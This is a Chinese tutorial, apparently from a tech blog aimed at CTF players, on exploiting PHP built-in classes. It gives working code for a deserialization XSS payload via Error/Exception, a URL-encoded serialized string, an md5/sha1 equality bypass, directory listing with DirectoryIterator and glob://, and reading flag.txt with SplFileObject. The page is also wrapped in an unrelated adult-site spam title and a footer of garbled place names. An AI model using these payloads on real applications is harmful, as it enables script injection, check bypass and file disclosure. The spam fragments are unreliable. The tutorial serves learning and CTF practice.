中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP原生類怎么遍歷

發布時間:2023-01-31 17:46:13 來源:億速云 閱讀:135 作者:iii 欄目:編程語言

本篇內容主要講解“PHP原生類怎么遍歷”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“PHP原生類怎么遍歷”吧!

首先貼一個遍歷php內置類的腳本

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根據題目環境將指定的方法添加進來, 來遍歷存在指定方法的原生類
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
    
}

結果:

PHP原生類怎么遍歷

整理一下:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo

大概就是這些類了,但是在ctf比賽中經常會用到的就是以下幾類

  • Error

  • Exception

  • SoapClient

  • DirectoryIterator

  • SimpleXMLElement


Error/Exception 內置類進行 XSS

error xss

__toString方法會返回錯誤或異常的字符串形式,其中包含我們輸入的參數,如果我們構造一串xss代碼,結合echo渲染,將觸發反射形xss漏洞

demo:

<?php
$a = unserialize($_GET['a']);echo $a;

poc

<?php
$a = new Error("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);

輸出了一串字符串

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D復制代碼

成功彈窗

PHP原生類怎么遍歷

exception xss

Exception是所有用戶級異常的基類。 (PHP 5, 7, 8)

<?php
$a = new Exception("<script>alert('hacker')</script>");
$b = serialize($a);
echo urlencode($b);
?>

和error的pop的構造好像是一樣的(exception適用于php5和7,error只適用于php7),把error換成exception就行了。依然成功彈窗

PHP原生類怎么遍歷

Error/Exception 內置類繞過哈希比較

通過構造這兩個類可以啊繞過md5()和sha1()函數。error和exception都有一個重要方法:_tostring,用于將異常對象轉換為字符串。

同樣,當md5()和sha1()函數處理對象時,會自動調用__tostring方法

<?php
$a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

輸出結果

PHP原生類怎么遍歷

可以看出,payload后面的參數并不影響輸出的結果。正是通過這個可以繞過哈希函數。

<?php
$a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo '$a不等于$b'."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

PHP原生類怎么遍歷

soapclient

soap的定義

簡單對象訪問協議含義

這里之所以說是簡單,是因為它是基于已經廣泛使用的兩個協議:HTTP和XML,所以業界把這種技術稱為“它是第一個沒有發明任何新技術的技術",之所以說是對象,是因為把訪問的Web服務稱為對象,既然服務是對象,那么服務肯定有相關的屬性和調用行為,這些屬性和行為是通過WSDL來描述的。如果按“簡單的對象訪問協議”來理解,相比“簡單對象訪問協議”要容易些

PHP 的內置類 SoapClient 是一個專門用來訪問web服務的類,可以提供一個基于SOAP協議訪問Web服務的 PHP 客戶端。

該類的構造函數如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

  • 第一個參數是用來指明是否是wsdl模式,將該值設為null則表示非wsdl模式。

  • 第二個參數為一個數組,如果在wsdl模式下,此參數可選;如果在非wsdl模式下,則必須設置location和uri選項,其中location是要將請求發送到的SOAP服務器的URL,而uri 是SOAP服務的目標命名空間。

php原生文件操作類

目錄遍歷

DirectoryIterator

__toString 獲取字符串形式的文件名 (PHP 5,7,8)

例如:

<?php
$a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.'</br>');
}
echo $a;

PHP原生類怎么遍歷

輸出指定目錄里面經過排序之后的第一個文件名

使用此內置類的__toString方法結合glob或file協議,即可實現目錄遍歷

<?php
$a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.'<br>';
}

PHP原生類怎么遍歷

利用foreach能遍歷所有的文件

<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

PHP原生類怎么遍歷

多一個斜杠,目錄往前一個。

FilesystemIterator 類

FilesystemIterator 類與 DirectoryIterator 類相同,提供了一個用于查看文件系統目錄內容的簡單接口。該類的構造方法將會創建一個指定目錄的迭代器。

該類的使用方法與DirectoryIterator 類也是基本相同的:

<?php
$a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

PHP原生類怎么遍歷

文件讀取

SplFileObject::__toString — 以字符串形式返回文件的路徑

<?php
$a = new SplFileObject('flag.txt');
echo $a;

PHP原生類怎么遍歷

輸出多行

<?php
$a = new SplFileObject('flag.txt');
foreach($a as $f){
    echo($f);
}

PHP原生類怎么遍歷

到此,相信大家對“PHP原生類怎么遍歷”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

麟游县| 遵义县| 历史| 泰和县| 潢川县| 大名县| 通榆县| 兴仁县| 平罗县| 永川市| 江都市| 辽阳县| 屯门区| 石渠县| 民县| 将乐县| 肃北| 宁远县| 武邑县| 定陶县| 泊头市| 栖霞市| 株洲市| 布拖县| 北辰区| 大连市| 鸡东县| 抚远县| 天津市| 贵南县| 叶城县| 瓮安县| 陆河县| 许昌县| 肥西县| 宁晋县| 毕节市| 舞钢市| 阳泉市| 曲靖市| 云霄县|